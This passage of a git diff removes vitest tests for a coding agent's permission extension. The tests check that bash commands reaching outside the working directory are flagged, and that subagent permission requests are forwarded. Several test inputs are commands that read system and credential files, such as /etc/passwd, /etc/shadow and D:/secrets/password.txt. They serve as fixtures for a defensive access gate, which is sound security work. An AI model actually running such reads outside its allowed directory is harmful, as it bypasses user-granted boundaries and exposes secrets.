extractExternalPathsFromBashCommand( - "cat /dev/stdin", - cwd, - ); - expect(result).toHaveLength(0); - }); - - test("does not flag /dev/stdout", async () => { - const result = await extractExternalPathsFromBashCommand( - "cat /dev/stdout", - cwd, - ); - expect(result).toHaveLength(0); - }); - - test("does not flag /dev/stderr", async () => { - const result = await extractExternalPathsFromBashCommand( - "cat /dev/stderr", - cwd, - ); - expect(result).toHaveLength(0); - }); - - test("still flags a real external path alongside /dev/null", async () => { - const result = await extractExternalPathsFromBashCommand( - "cat /etc/hosts 2>/dev/null", - cwd, - ); - expect(result).toContain("/etc/hosts"); - expect(result).not.toContain("/dev/null"); - }); - - test("does not flag /dev/null/subdir (not a safe path)", async () => { - const result = await extractExternalPathsFromBashCommand( - "cat /dev/null/subdir", - cwd, - ); - expect(result).toContain("/dev/null/subdir"); - }); - }); - - describe("bare-slash tokens resolve to external root", () => { - test("find / scans the whole filesystem → flags root (#583)", async () => { - const result = await extractExternalPathsFromBashCommand("find /", cwd); - expect(result).toEqual(["/"]); - }); - - test("find / with search predicates → flags root (#583)", async () => { - const result = await extractExternalPathsFromBashCommand( - 'find / -path "*/pi-coding-agent/*.d.ts"', - cwd, - ); - expect(result).toContain("/"); - }); - - test("bare / token → flags root", async () => { - const result = await extractExternalPathsFromBashCommand("echo /", cwd); - expect(result).toEqual(["/"]); - }); - - test("bare // token normalizes to root", async () => { - const result = await extractExternalPathsFromBashCommand("echo //", cwd); - expect(result).toEqual(["/"]); - }); - - test("bare /// token normalizes to root", async () => { - const result = await extractExternalPathsFromBashCommand("echo ///", cwd); - expect(result).toEqual(["/"]); - }); - - test("bare / among other args → flags root once", async () => { - const result = await extractExternalPathsFromBashCommand( - "echo // hello", - cwd, - ); - expect(result).toEqual(["/"]); - }); - - test("flags root alongside another external path", async () => { - const result = await extractExternalPathsFromBashCommand( - "cat /etc/hosts; echo //", - cwd, - ); - expect(result).toContain("/etc/hosts"); - expect(result).toContain("/"); - expect(result).toHaveLength(2); - }); - }); - - describe("node -e and multi-line commands", () => { - test("does not flag path inside single-quoted string in node -e argument", async () => { - const result = await extractExternalPathsFromBashCommand( - "node -e \"const p = '/etc/hosts'; console.log(p);\"", - cwd, - ); - expect(result).toHaveLength(0); - }); - - test("does not flag path inside multi-line node -e argument", async () => { - // Actual newlines inside the double-quoted -e argument. - const cmd = - "node -e \"\nimport('x').then(() => {\n console.log('/etc/hosts');\n});\n\""; - const result = await extractExternalPathsFromBashCommand(cmd, cwd); - expect(result).toHaveLength(0); - }); - - test("does not flag path that appears after escaped quote in multi-line node -e argument", async () => { - // This is the shape of the command that triggered a prompt during dog-fooding. - // The outer \"...\" arg contains both actual newlines and \\" escape sequences, - // with /etc/hosts appearing after a \\" boundary. - const cmd = [ - 'node -e "', - "import('shell-quote').then(({ parse }) => {", - " const cmd = \\\"cat << 'EOF'\\n/etc/hosts\\nsome content\\nEOF\\\";", - " console.log(JSON.stringify(parse(cmd)));", - "});", - '"', - ].join("\n"); - const result = await extractExternalPathsFromBashCommand(cmd, cwd); - expect(result).toHaveLength(0); - }); - }); - - describe("tokenizer edge cases", () => { - test("does not flag path inside string when escaped quote is present", async () => { - // tree-sitter correctly parses the escaped quote and keeps the path inside the string. - const result = await extractExternalPathsFromBashCommand( - 'git commit -m "fix: update \\"the /etc/hosts\\" handler"', - cwd, - ); - expect(result).toHaveLength(0); - }); - - test("does not flag path appearing only in a shell comment", async () => { - const result = await extractExternalPathsFromBashCommand( - "echo hello # /etc/shadow", - cwd, - ); - expect(result).toHaveLength(0); - }); - - test("flags real path before comment but not path inside comment", async () => { - const result = await extractExternalPathsFromBashCommand( - "cat /etc/hosts # see also /etc/shadow", - cwd, - ); - expect(result).toContain("/etc/hosts"); - expect(result).not.toContain("/etc/shadow"); - expect(result).toHaveLength(1); - }); - }); - - describe("heredoc handling", () => { - test("does not flag path inside single-quoted heredoc delimiter", async () => { - const cmd = "cat << 'EOF'\n/etc/hosts\nEOF"; - const result = await extractExternalPathsFromBashCommand(cmd, cwd); - expect(result).toHaveLength(0); - }); - - test("does not flag path inside double-quoted heredoc delimiter", async () => { - const cmd = 'cat << "EOF"\n/etc/hosts\nEOF'; - const result = await extractExternalPathsFromBashCommand(cmd, cwd); - expect(result).toHaveLength(0); - }); - - test("does not flag path inside unquoted heredoc delimiter", async () => { - const cmd = "cat << EOF\n/etc/hosts\nEOF"; - const result = await extractExternalPathsFromBashCommand(cmd, cwd); - expect(result).toHaveLength(0); - }); - - test("flags real path alongside heredoc but not heredoc content", async () => { - const cmd = "cat /etc/hosts << 'EOF'\nsome content\nEOF"; - const result = await extractExternalPathsFromBashCommand(cmd, cwd); - expect(result).toContain("/etc/hosts"); - expect(result).toHaveLength(1); - }); - - test("does not flag path inside indented heredoc (<<-)", async () => { - const cmd = "cat <<- 'EOF'\n\t/etc/hosts\nEOF"; - const result = await extractExternalPathsFromBashCommand(cmd, cwd); - expect(result).toHaveLength(0); - }); - }); - - describe("defense-in-depth guards with tree-sitter", () => { - test("env assignment is a variable_assignment node, not a command argument", async () => { - // tree-sitter parses FOO=/usr/local/bin as a variable_assignment node. - // The walker skips variable_assignment, so the env-assignment guard in - // classifyTokenAsPathCandidate is defense-in-depth. - const result = await extractExternalPathsFromBashCommand( - "FOO=/usr/local/bin command", - cwd, - ); - expect(result).toHaveLength(0); - }); - - test("URL is a word argument, classifyTokenAsPathCandidate rejects it", async () => { - // tree-sitter emits the URL as a plain word argument. - // classifyTokenAsPathCandidate's URL pattern must still reject it. - const result = await extractExternalPathsFromBashCommand( - "curl https://example.com/etc/hosts", - cwd, - ); - expect(result).toHaveLength(0); - }); - - test("flag arguments are word nodes, classifyTokenAsPathCandidate rejects them", async () => { - // tree-sitter emits '-la' as a word argument. - // classifyTokenAsPathCandidate's flag check must still reject it. - const result = await extractExternalPathsFromBashCommand( - "ls -la --color=auto", - cwd, - ); - expect(result).toHaveLength(0); - }); - }); - - describe("command substitution", () => { - test("detects path inside command substitution", async () => { - const result = await extractExternalPathsFromBashCommand( - "echo $(cat /etc/hosts)", - cwd, - ); - expect(result).toContain("/etc/hosts"); - }); - - test("detects path inside nested command substitution", async () => { - const result = await extractExternalPathsFromBashCommand( - "echo $(echo $(cat /etc/hosts))", - cwd, - ); - expect(result).toContain("/etc/hosts"); - }); - - test("does not flag command substitution inside single-quoted heredoc", async () => { - // Single-quoted heredoc delimiter prevents expansion — content is literal. - const cmd = "cat << 'EOF'\n$(cat /etc/hosts)\nEOF"; - const result = await extractExternalPathsFromBashCommand(cmd, cwd); - expect(result).toHaveLength(0); - }); - - test("detects path in subshell", async () => { - const result = await extractExternalPathsFromBashCommand( - "(cat /etc/hosts)", - cwd, - ); - expect(result).toContain("/etc/hosts"); - }); - }); - - describe("redirect targets", () => { - test("detects path in output redirect", async () => { - const result = await extractExternalPathsFromBashCommand( - "echo hello > /tmp/out.txt", - cwd, - ); - expect(result).toContain("/tmp/out.txt"); - }); - - test("detects path in append redirect", async () => { - const result = await extractExternalPathsFromBashCommand( - "echo hello >> /tmp/out.txt", - cwd, - ); - expect(result).toContain("/tmp/out.txt"); - }); - - test("detects path in input redirect", async () => { - const result = await extractExternalPathsFromBashCommand( - "sort < /etc/hosts", - cwd, - ); - expect(result).toContain("/etc/hosts"); - }); - - test("detects path in stderr redirect", async () => { - const result = await extractExternalPathsFromBashCommand( - "command 2>/tmp/errors.log", - cwd, - ); - expect(result).toContain("/tmp/errors.log"); - }); - }); - - describe("deduplication", () => { - test("returns deduplicated paths", async () => { - const result = await extractExternalPathsFromBashCommand( - "cat /etc/hosts; grep foo /etc/hosts", - cwd, - ); - const etcHostsCount = result.filter((p) => p === "/etc/hosts").length; - expect(etcHostsCount).toBe(1); - }); - }); - - describe("command-aware extraction", () => { - describe("sed", () => { - test("issue #91 reproducer: sed address pattern is not flagged", async () => { - const cmd = `sed -i '' '/source: "tool",/{/origin:/!s/source: "tool",/source: "tool",\n origin: "builtin",/;}' tests/tool-input-preview.test.ts`; - const result = await extractExternalPathsFromBashCommand(cmd, cwd); - expect(result).toHaveLength(0); - }); - - test("sed script is skipped but file argument is extracted", async () => { - const result = await extractExternalPathsFromBashCommand( - "sed 's/foo/bar/g' /etc/hosts", - cwd, - ); - expect(result).toContain("/etc/hosts"); - }); - - test("sed address pattern starting with / is skipped", async () => { - const result = await extractExternalPathsFromBashCommand( - "sed '/pattern/d' /etc/hosts", - cwd, - ); - expect(result).toContain("/etc/hosts"); - expect(result).toHaveLength(1); - }); - - test("sed with only in-CWD file returns empty", async () => { - const result = await extractExternalPathsFromBashCommand( - "sed 's/foo/bar/' src/index.ts", - cwd, - ); - expect(result).toHaveLength(0); - }); - - test("sed -e: script consumed by flag, file extracted", async () => { - const result = await extractExternalPathsFromBashCommand( - "sed -e 's/foo/bar/' /etc/hosts", - cwd, - ); - expect(result).toContain("/etc/hosts"); - expect(result).toHaveLength(1); - }); - - test("sed -n: regular flag does not consume next arg", async () => { - const result = await extractExternalPathsFromBashCommand( - "sed -n '/pattern/p' /etc/hosts", - cwd, - ); - expect(result).toContain("/etc/hosts"); - expect(result).toHaveLength(1); - }); - - test("sed -f: script file is extracted as path", async () => { - const result = await extractExternalPathsFromBashCommand( - "sed -f /etc/sed-script.sed input.txt", - cwd, - ); - expect(result).toContain("/etc/sed-script.sed"); - expect(result).toHaveLength(1); - }); - - test("sed -i '': extension consumed, script skipped, file extracted", async () => { - const result = await extractExternalPathsFromBashCommand( - "sed -i '' 's/foo/bar/' /etc/hosts", - cwd, - ); - expect(result).toContain("/etc/hosts"); - expect(result).toHaveLength(1); - }); - }); - - describe("grep", () => { - test("grep: pattern skipped, file extracted", async () => { - const result = await extractExternalPathsFromBashCommand( - "grep '/etc/' /var/log/syslog", - cwd, - ); - expect(result).toContain("/var/log/syslog"); - expect(result).toHaveLength(1); - }); - - test("grep -e: pattern consumed by flag, file extracted", async () => { - const result = await extractExternalPathsFromBashCommand( - "grep -e '/etc/' /var/log/syslog", - cwd, - ); - expect(result).toContain("/var/log/syslog"); - expect(result).toHaveLength(1); - }); - }); - - describe("awk", () => { - test("awk: program skipped, file extracted", async () => { - const result = await extractExternalPathsFromBashCommand( - "awk '{print}' /etc/hosts", - cwd, - ); - expect(result).toContain("/etc/hosts"); - expect(result).toHaveLength(1); - }); - - test("awk -F: separator consumed, program skipped, file extracted", async () => { - const result = await extractExternalPathsFromBashCommand( - "awk -F: '{print $1}' /etc/passwd", - cwd, - ); - expect(result).toContain("/etc/passwd"); - expect(result).toHaveLength(1); - }); - }); - - describe("rg", () => { - test("rg: pattern skipped, path extracted", async () => { - const result = await extractExternalPathsFromBashCommand( - "rg '/usr/local' /etc/profile.d/", - cwd, - ); - expect(result).toContain("/etc/profile.d"); - expect(result).toHaveLength(1); - }); - - test("rg -e: pattern consumed by flag, path extracted", async () => { - const result = await extractExternalPathsFromBashCommand( - "rg -e '/usr/local' /etc/profile.d/", - cwd, - ); - expect(result).toContain("/etc/profile.d"); - expect(result).toHaveLength(1); - }); - }); - - describe("sd", () => { - test("sd: both pattern positionals skipped, file extracted", async () => { - const result = await extractExternalPathsFromBashCommand( - "sd '/usr/local/bin' '/opt/bin' /etc/profile", - cwd, - ); - expect(result).toContain("/etc/profile"); - expect(result).toHaveLength(1); - }); - - test("sd with only in-CWD file returns empty", async () => { - const result = await extractExternalPathsFromBashCommand( - "sd 'foo' 'bar' src/index.ts", - cwd, - ); - expect(result).toHaveLength(0); - }); - }); - - describe("unknown commands", () => { - test("unknown command: all args go through generic extraction", async () => { - const result = await extractExternalPathsFromBashCommand( - "some-tool /etc/hosts", - cwd, - ); - expect(result).toContain("/etc/hosts"); - }); - }); - - describe("edge cases", () => { - test("full-path command invocation: /usr/bin/sed", async () => { - const result = await extractExternalPathsFromBashCommand( - "/usr/bin/sed 's/foo/bar/' /etc/hosts", - cwd, - ); - expect(result).toContain("/etc/hosts"); - expect(result).toHaveLength(1); - }); - - test("-- end-of-flags: all remaining args are positional files", async () => { - const result = await extractExternalPathsFromBashCommand( - "grep -- '/etc/' /var/log/syslog", - cwd, - ); - // After --, '/etc/' is the pattern positional, /var/log/syslog is a file - expect(result).toContain("/var/log/syslog"); - expect(result).toHaveLength(1); - }); - - test("redirect target still extracted for pattern-first command", async () => { - const result = await extractExternalPathsFromBashCommand( - "sed 's/foo/bar/' input.txt > /tmp/output.txt", - cwd, - ); - expect(result).toContain("/tmp/output.txt"); - }); - - test("pipeline: sed piped to cat with external path", async () => { - const result = await extractExternalPathsFromBashCommand( - "sed 's/foo/bar/' src/file.ts | cat /etc/hosts", - cwd, - ); - expect(result).toContain("/etc/hosts"); - expect(result).toHaveLength(1); - }); - - test("command substitution inside pattern-first command", async () => { - const result = await extractExternalPathsFromBashCommand( - "grep 'pattern' $(cat /etc/file-list)", - cwd, - ); - // /etc/file-list is an argument to cat inside command substitution - expect(result).toContain("/etc/file-list"); - }); - }); - - describe("known limitations", () => { - test("sed -i without extension (GNU sed): /etc/hosts is missed (false negative)", async () => { - // GNU sed treats -i as a flag with no argument, so 's/foo/bar/' is - // the inline script and /etc/hosts is the input file. Our logic - // treats -i as arg-consuming (correct for BSD sed -i ''), so it - // consumes the script as the -i extension and /etc/hosts becomes - // the first positional — which is skipped as the inline script. - // This is a known false negative. The bash permission gate still - // applies, so external access is not silently allowed. - const result = await extractExternalPathsFromBashCommand( - "sed -i 's/foo/bar/' /etc/hosts", - cwd, - ); - // Ideally this would detect /etc/hosts, but position tracking - // treats it as the inline script. Assert current behavior so - // a future fix can flip this expectation. - expect(result).toHaveLength(0); - }); - }); - }); - - describe("regex patterns are not mistaken for paths", () => { - test("grep -v with //.*pattern is not flagged", async () => { - const result = await extractExternalPathsFromBashCommand( - 'grep -n "glob" src/foo.ts 2>/dev/null | grep -v "//.*glob\\|globalConfig" | head -30', - cwd, - ); - expect(result).toHaveLength(0); - }); - - test("grep -v with //.*pattern without backslash-pipe is not flagged", async () => { - const result = await extractExternalPathsFromBashCommand( - 'grep -v "//.*foo" file.txt', - cwd, - ); - expect(result).toHaveLength(0); - }); - - test("grep with backslash-pipe alternation is not flagged", async () => { - const result = await extractExternalPathsFromBashCommand( - 'grep "foo\\|bar\\|baz" src/file.ts', - cwd, - ); - expect(result).toHaveLength(0); - }); - - test("grep -E with ^/ anchored regex is not flagged", async () => { - const result = await extractExternalPathsFromBashCommand( - 'grep -E "^/usr/bin" file.txt', - cwd, - ); - expect(result).toHaveLength(0); - }); - - test("sed with regex containing slashes is not flagged", async () => { - const result = await extractExternalPathsFromBashCommand( - 'sed "s/foo.*/bar/g" file.txt', - cwd, - ); - expect(result).toHaveLength(0); - }); - - test("real external paths are still detected alongside regex args", async () => { - const result = await extractExternalPathsFromBashCommand( - 'grep -v "//.*pattern" /etc/hosts', - cwd, - ); - expect(result).toContain("/etc/hosts"); - }); - }); - - describe("leading cd prefix", () => { - test("regression: cd to subdir with relative path traversing back into cwd is not flagged", async () => { - // Real-world command that triggered a false-positive external-directory - // prompt. The relative path .pi/../../../.pi/skills/... resolves inside - // cwd when resolved from the cd target, but outside cwd when resolved - // from cwd itself. - const result = await extractExternalPathsFromBashCommand( - 'cd /projects/my-app/packages/sub && grep -n "pattern" .pi/../../../.pi/skills/pkg/SKILL.md', - cwd, - ); - expect(result).toHaveLength(0); - }); - - test("cd to subdir: still flags genuinely external paths after cd", async () => { - const result = await extractExternalPathsFromBashCommand( - "cd /projects/my-app/packages/sub && cat /etc/hosts", - cwd, - ); - expect(result).toContain("/etc/hosts"); - }); - - test("cd to subdir: relative path that stays inside cwd is not flagged", async () => { - const result = await extractExternalPathsFromBashCommand( - "cd /projects/my-app/src && cat ../README.md", - cwd, - ); - expect(result).toHaveLength(0); - }); - - test("cd to external dir: subsequent paths resolve against the (external) effective directory", async () => { - // The effective directory is tracked faithfully: `cd /tmp` makes /tmp the - // base, so the cd target itself is flagged AND ../etc/hosts resolves to - // /etc/hosts (both outside cwd). - const result = await extractExternalPathsFromBashCommand( - "cd /tmp && cat ../etc/hosts", - cwd, - ); - expect(result).toContain("/tmp"); - expect(result).toContain("/etc/hosts"); - }); - - test("cd with relative target: resolves inside cwd", async () => { - const result = await extractExternalPathsFromBashCommand( - 'cd packages/sub && grep -n "x" .pi/../../../.pi/skills/pkg/SKILL.md', - cwd, - ); - expect(result).toHaveLength(0); - }); - - test("no cd prefix: ../ path that escapes cwd is flagged", async () => { - // Without the cd prefix, the path resolves against cwd and escapes. - const result = await extractExternalPathsFromBashCommand( - 'grep -n "pattern" .pi/../../../.pi/skills/pkg/SKILL.md', - cwd, - ); - expect(result.length).toBeGreaterThan(0); - }); - - test("sequential fold: a cd that is not the first command still updates the base", async () => { - // The current-shell `cd` folds even though it is not the first command; - // ../../outside.txt resolves against /projects/my-app/src → /projects/outside.txt. - const result = await extractExternalPathsFromBashCommand( - "echo hello && cd /projects/my-app/src && cat ../../outside.txt", - cwd, - ); - expect(result).toContain("/projects/outside.txt"); - }); - - test("cd with semicolon separator", async () => { - const result = await extractExternalPathsFromBashCommand( - "cd /projects/my-app/src ; cat ../README.md", - cwd, - ); - expect(result).toHaveLength(0); - }); - }); -}); - -describe("the bash external-directory ask payload", () => { - /** The payload the gate emits for a command that reached outside the tree. */ - function buildAsk(facts: { - command: string; - externalPaths: ExternalPathDisclosure[]; - cwd: string; - agentName?: string; - }) { - return buildBashExternalDirectoryAskPayload({ - ...facts, - agentName: facts.agentName ?? null, - toolName: "bash", - }); - } - - test("carries the command, the boundary, and the path it reached", () => { - const payload = buildAsk({ - command: "cat /etc/hosts", - externalPaths: [{ path: "/etc/hosts" }], - cwd: "/projects/my-app", - }); - - expect(payload.request.value).toBe("cat /etc/hosts"); - expect(payload.evidence).toEqual([ - { label: "working directory", text: "/projects/my-app", detail: null }, - { label: "external path", text: "/etc/hosts", detail: null }, - ]); - }); - - test("names the requesting agent when one is known", () => { - expect( - buildAsk({ - command: "cat /etc/hosts", - externalPaths: [{ path: "/etc/hosts" }], - cwd: "/projects/my-app", - agentName: "my-agent", - }).request.requester.agentName, - ).toBe("my-agent"); - }); - - test("lists every external path the command reached", () => { - expect( - buildAsk({ - command: "diff /etc/hosts /var/log/syslog", - externalPaths: [{ path: "/etc/hosts" }, { path: "/var/log/syslog" }], - cwd: "/projects/my-app", - }).evidence, - ).toEqual([ - { label: "working directory", text: "/projects/my-app", detail: null }, - { label: "external path", text: "/etc/hosts", detail: null }, - { label: "external path", text: "/var/log/syslog", detail: null }, - ]); - }); - - test("binds a resolved target to the path it belongs to", () => { - expect( - buildAsk({ - command: "cat demo-symlink-passwd /etc/hosts", - externalPaths: [ - { path: "demo-symlink-passwd", resolvedPath: "/etc/passwd" }, - { path: "/etc/hosts" }, - ], - cwd: "/projects/my-app", - }).evidence, - ).toEqual([ - { label: "working directory", text: "/projects/my-app", detail: null }, - { - label: "external path", - text: "demo-symlink-passwd", - detail: "/etc/passwd", - }, - { label: "external path", text: "/etc/hosts", detail: null }, - ]); - }); -}); - -describe("Windows drive-letter paths (win32 semantics)", () => { - const windowsCwd = "C:/projects/app"; - - async function extractWin32(command: string): Promise { - return extractWithNormalizer( - command, - new PathNormalizer(win32PathFlavor, windowsCwd), - ); - } - - test("forward-slash drive path outside CWD is flagged", async () => { - const result = await extractWin32("cat C:/Windows/win.ini"); - expect(result).not.toHaveLength(0); - }); - - test("different drive letter outside CWD is flagged", async () => { - const result = await extractWin32("cat D:/secrets/password.txt"); - expect(result).not.toHaveLength(0); - }); - - test("drive path inside CWD is not flagged (known base)", async () => { - const result = await extractWin32("cat C:/projects/app/inside.txt"); - expect(result).toHaveLength(0); - }); - - test("drive path inside CWD is not flagged after non-literal cd (unknown base)", async () => { - // Before the isRelativeCandidate conversion, the hand-rolled startsWith("/") - // check treats C:/ as relative on win32, so the unknown-base conservative - // branch fires and over-flags an inside-CWD drive path. - // After the conversion (!normalizer.isAbsolute), C:/ is absolute on win32 - // and routes to the resolved branch with its inside-CWD check. - const result = await extractWin32( - 'cd "$D" && cat C:/projects/app/inside.txt', - ); - expect(result).toHaveLength(0); - }); -}); - -describe("Git Bash POSIX device paths (win32 semantics)", () => { - const windowsCwd = "C:/projects/app"; - - async function extractWin32(command: string): Promise { - return extractWithNormalizer( - command, - new PathNormalizer(win32PathFlavor, windowsCwd), - ); - } - - test("a /dev/null redirect target is not flagged", async () => { - const result = await extractWin32("echo hi > /dev/null"); - expect(result).toHaveLength(0); - }); - - test("all four safe device paths are excluded", async () => { - const result = await extractWin32( - "cat /dev/stdin /dev/stdout /dev/stderr /dev/null", - ); - expect(result).toHaveLength(0); - }); -}); - -describe("Git Bash MSYS drive mounts (win32 semantics)", () => { - const windowsCwd = "C:/projects/app"; - - async function extractWin32(command: string): Promise { - return extractWithNormalizer( - command, - new PathNormalizer(win32PathFlavor, windowsCwd), - ); - } - - test("an in-cwd drive mount is not flagged", async () => { - const result = await extractWin32("cat /c/projects/app/inside.txt"); - expect(result).toHaveLength(0); - }); - - test("an out-of-cwd drive mount is flagged as its translated Windows path", async () => { - const result = await extractWin32("cat /c/Other/secret.txt"); - expect(result).toEqual(["c:\\other\\secret.txt"]); - }); - - test("a different-drive mount is flagged as its translated Windows path", async () => { - const result = await extractWin32("cat /d/secrets/pw.txt"); - expect(result).toEqual(["d:\\secrets\\pw.txt"]); - }); -}); - -describe("Git Bash POSIX absolute paths (win32 semantics)", () => { - const windowsCwd = "C:/projects/app"; - - async function extractWin32(command: string): Promise { - return extractWithNormalizer( - command, - new PathNormalizer(win32PathFlavor, windowsCwd), - ); - } - - test("a /tmp path is flagged as typed, not fabricated into C:\\tmp", async () => { - const result = await extractWin32("ls /tmp"); - expect(result).toEqual(["/tmp"]); - }); - - test("a /usr path is flagged as typed", async () => { - const result = await extractWin32("cat /usr/bin/tool"); - expect(result).toEqual(["/usr/bin/tool"]); - }); - - test("distinct literal-only POSIX absolutes are not deduplicated together", async () => { - const result = await extractWin32("cat /tmp/a /tmp/b"); - expect(result).toEqual(["/tmp/a", "/tmp/b"]); - }); -}); - -describe("the bash external-directory denial the agent sees", () => { - test("names the escaping paths and the boundary, never the command", () => { - const result = renderPolicyDenial( - buildBashExternalDirectoryAskPayload({ - command: "cat /etc/hosts", - externalPaths: [{ path: "/etc/hosts" }], - cwd: "/projects/my-app", - agentName: null, - toolName: "bash", - matchedPattern: "*", - }), - null, - ); - expect(result).toBe( - "[pi-permission-system] Denied by policy: 'external_directory' for tool 'bash' for path '/etc/hosts' (rule '*'): outside working directory '/projects/my-app'.", - ); - }); -}); diff --git a/pi-permission-system/test/composition-root.test.ts b/pi-permission-system/test/composition-root.test.ts index 8bc35ef..a264cfa 100644 --- a/pi-permission-system/test/composition-root.test.ts +++ b/pi-permission-system/test/composition-root.test.ts @@ -14,8 +14,6 @@ import { mkdirSync, mkdtempSync, - readdirSync, - readFileSync, rmSync, symlinkSync, writeFileSync, @@ -28,11 +26,6 @@ import { type ExtensionAPI, } from "@earendil-works/pi-coding-agent"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - createPermissionForwardingLocation, - type ForwardedPermissionRequest, -} from "#src/authority/permission-forwarding"; -import { getServingSessionRegistry } from "#src/authority/serving-registry"; import { SUBAGENT_CHILD_SESSION_CREATED } from "#src/authority/subagent-lifecycle-events"; import { getSubagentSessionRegistry } from "#src/authority/subagent-registry"; import { getGlobalConfigPath } from "#src/config-paths"; @@ -40,7 +33,6 @@ import { DEFAULT_EXTENSION_CONFIG } from "#src/extension-config"; import piPermissionSystemExtension from "#src/index"; import { PERMISSIONS_READY_CHANNEL } from "#src/permission-events"; import { getPermissionsService } from "#src/service"; -import { publishServingHeartbeat } from "#test/helpers/forwarding-fixtures"; import { makeFakePi } from "#test/helpers/make-fake-pi"; const SERVICE_KEY = Symbol.for("@gotgenes/pi-permission-system:service"); @@ -171,8 +163,6 @@ function makeUiCtx(cwd: string, capturedTitles: string[]): { ctx: unknown } { return { ctx }; } -const sleep = (ms: number): Promise => - new Promise((resolve) => setTimeout(resolve, ms)); /** Drive the registered `session_start` handler with a ctx. */ function fireSessionStart( @@ -182,53 +172,6 @@ function fireSessionStart( return pi.fire("session_start", { reason: "start" }, ctx); } -/** - * Simulate the parent UI session responding to a forwarded permission request. - * - * Polls the parent's requests directory for the child's request file, then - * writes an approval response so the child's forwarding poll resolves quickly - * instead of waiting out the 10-minute timeout. - */ -async function approveForwardedRequest( - forwardingDir: string, - parentSessionId: string, -): Promise { - const location = createPermissionForwardingLocation( - forwardingDir, - parentSessionId, - ); - const deadline = Date.now() + 2000; - while (Date.now() < deadline) { - let files: string[] = []; - try { - files = readdirSync(location.requestsDir).filter((f) => - f.endsWith(".json"), - ); - } catch { - files = []; - } - const requestFile = files[0]; - if (requestFile) { - const request = JSON.parse( - readFileSync(join(location.requestsDir, requestFile), "utf8"), - ) as ForwardedPermissionRequest; - mkdirSync(location.responsesDir, { recursive: true }); - writeFileSync( - join(location.responsesDir, `${request.id}.json`), - JSON.stringify({ - approved: true, - state: "approved", - responderSessionId: parentSessionId, - respondedAt: Date.now(), - }), - "utf8", - ); - return request; - } - await sleep(5); - } - throw new Error("Timed out waiting for the forwarded permission request"); -} describe("event-handler registration completeness", () => { it("registers a handler for every required event exactly once", () => { @@ -239,208 +182,7 @@ describe("event-handler registration completeness", () => { }); }); -describe("subagent registry sharing across factory instances", () => { - // The #296 regression class: two factory invocations on *different* event - // buses must still resolve the same process-global SubagentSessionRegistry, - // so a child registered via the parent's bus detects itself as a subagent and - // forwards (rather than blocking) an external-directory `ask`. - it("lets a child instance forward an ask it received via the parent's bus", async () => { - writeGlobalConfig({ - permission: { "*": "allow", external_directory: "ask" }, - }); - const childCwd = mkdtempSync(join(tmpdir(), "pi-perm-child-cwd-")); - const externalDir = mkdtempSync(join(tmpdir(), "pi-perm-external-")); - const forwardingDir = join(agentDir, "sessions", "permission-forwarding"); - const parentSessionId = "parent-session-1"; - const childSessionId = "child-session-1"; - - // Two factory instances, each wired to its own event bus (as in production: - // every session's ResourceLoader creates a separate bus). - const parentBus = createEventBus(); - const childBus = createEventBus(); - piPermissionSystemExtension( - makeFakePi({ events: parentBus }) as unknown as ExtensionAPI, - ); - const childPi = makeFakePi({ - events: childBus, - toolNames: ["read"], - }); - piPermissionSystemExtension(childPi as unknown as ExtensionAPI); - - // The child session is announced on the *parent's* bus only; the parent's - // lifecycle subscription writes it into the shared global registry. - parentBus.emit(SUBAGENT_CHILD_SESSION_CREATED, { - sessionId: childSessionId, - parentSessionId, - }); - - // This test answers the forwarded request by hand instead of running the - // parent's poll timer, so state what that timer would have published: - // the parent is draining its inbox. Without it the child correctly - // abandons the request as unserved (#719). - getServingSessionRegistry().markServing(parentSessionId); - - // The child fires an external-directory read with no UI. With the shared - // registry it detects itself as a subagent and forwards; the simulated - // parent approves. - const firePromise = childPi.fire( - "tool_call", - { - toolName: "read", - toolCallId: "child-external-read", - input: { path: join(externalDir, "secret.txt") }, - }, - makeChildCtx(childCwd, childSessionId), - ); - - const request = await approveForwardedRequest( - forwardingDir, - parentSessionId, - ); - expect(request.targetSessionId).toBe(parentSessionId); - expect(request.requesterSessionId).toBe(childSessionId); - // The child persists the original display fields so the parent emits a - // non-degraded `permissions:ui_prompt` event (forwarded non-degradation). - expect(request.source).toBe("tool_call"); - expect(request.surface).toBe("read"); - expect(request.value).toBe(join(externalDir, "secret.txt")); - - const result = (await firePromise) as { block?: true }; - expect(result.block).toBeUndefined(); - - rmSync(childCwd, { recursive: true, force: true }); - rmSync(externalDir, { recursive: true, force: true }); - }); - - // The #719 failure mode: the child forwards correctly, but nothing drains - // the parent's inbox. Before the serving registry it waited out the full - // ten-minute timeout and reported the block as a user denial. - it("blocks promptly when no session is draining the parent's inbox", async () => { - writeGlobalConfig({ - permission: { "*": "allow", external_directory: "ask" }, - }); - - const childCwd = mkdtempSync(join(tmpdir(), "pi-perm-child-cwd-")); - const externalDir = mkdtempSync(join(tmpdir(), "pi-perm-external-")); - const parentSessionId = "parent-session-2"; - const childSessionId = "child-session-2"; - - const parentBus = createEventBus(); - piPermissionSystemExtension( - makeFakePi({ events: parentBus }) as unknown as ExtensionAPI, - ); - const childPi = makeFakePi({ - events: createEventBus(), - toolNames: ["read"], - }); - piPermissionSystemExtension(childPi as unknown as ExtensionAPI); - - parentBus.emit(SUBAGENT_CHILD_SESSION_CREATED, { - sessionId: childSessionId, - parentSessionId, - }); - // Deliberately no markServing: nobody is polling the parent's inbox. - - const result = (await childPi.fire( - "tool_call", - { - toolName: "read", - toolCallId: "child-external-read", - input: { path: join(externalDir, "secret.txt") }, - }, - makeChildCtx(childCwd, childSessionId), - )) as { block?: true; reason?: string }; - - expect(result.block).toBe(true); - expect(result.reason).toContain("no interactive UI is available"); - expect(result.reason).toContain( - `Session '${parentSessionId}' is not serving forwarded permission requests.`, - ); - expect(result.reason).not.toContain("User denied"); - - rmSync(childCwd, { recursive: true, force: true }); - rmSync(externalDir, { recursive: true, force: true }); - }); -}); - -describe("out-of-process forwarding liveness", () => { - // A child spawned as its own `pi` process resolves its parent from the - // environment and shares no `globalThis` with it, so the serving registry the - // tests above rely on is invisible to it. The filesystem heartbeat is the - // only signal it has (#721, #735 scenario 1). - const externalAsk = { - permission: { "*": "allow", external_directory: "ask" }, - }; - - function fireChildRead(childCwd: string, externalDir: string) { - const childPi = makeFakePi({ - events: createEventBus(), - toolNames: ["read"], - }); - piPermissionSystemExtension(childPi as unknown as ExtensionAPI); - return childPi.fire( - "tool_call", - { - toolName: "read", - toolCallId: "child-external-read", - input: { path: join(externalDir, "secret.txt") }, - }, - makeChildCtx(childCwd, "child-session-oop"), - ); - } - - it("blocks promptly when the out-of-process parent published no heartbeat", async () => { - 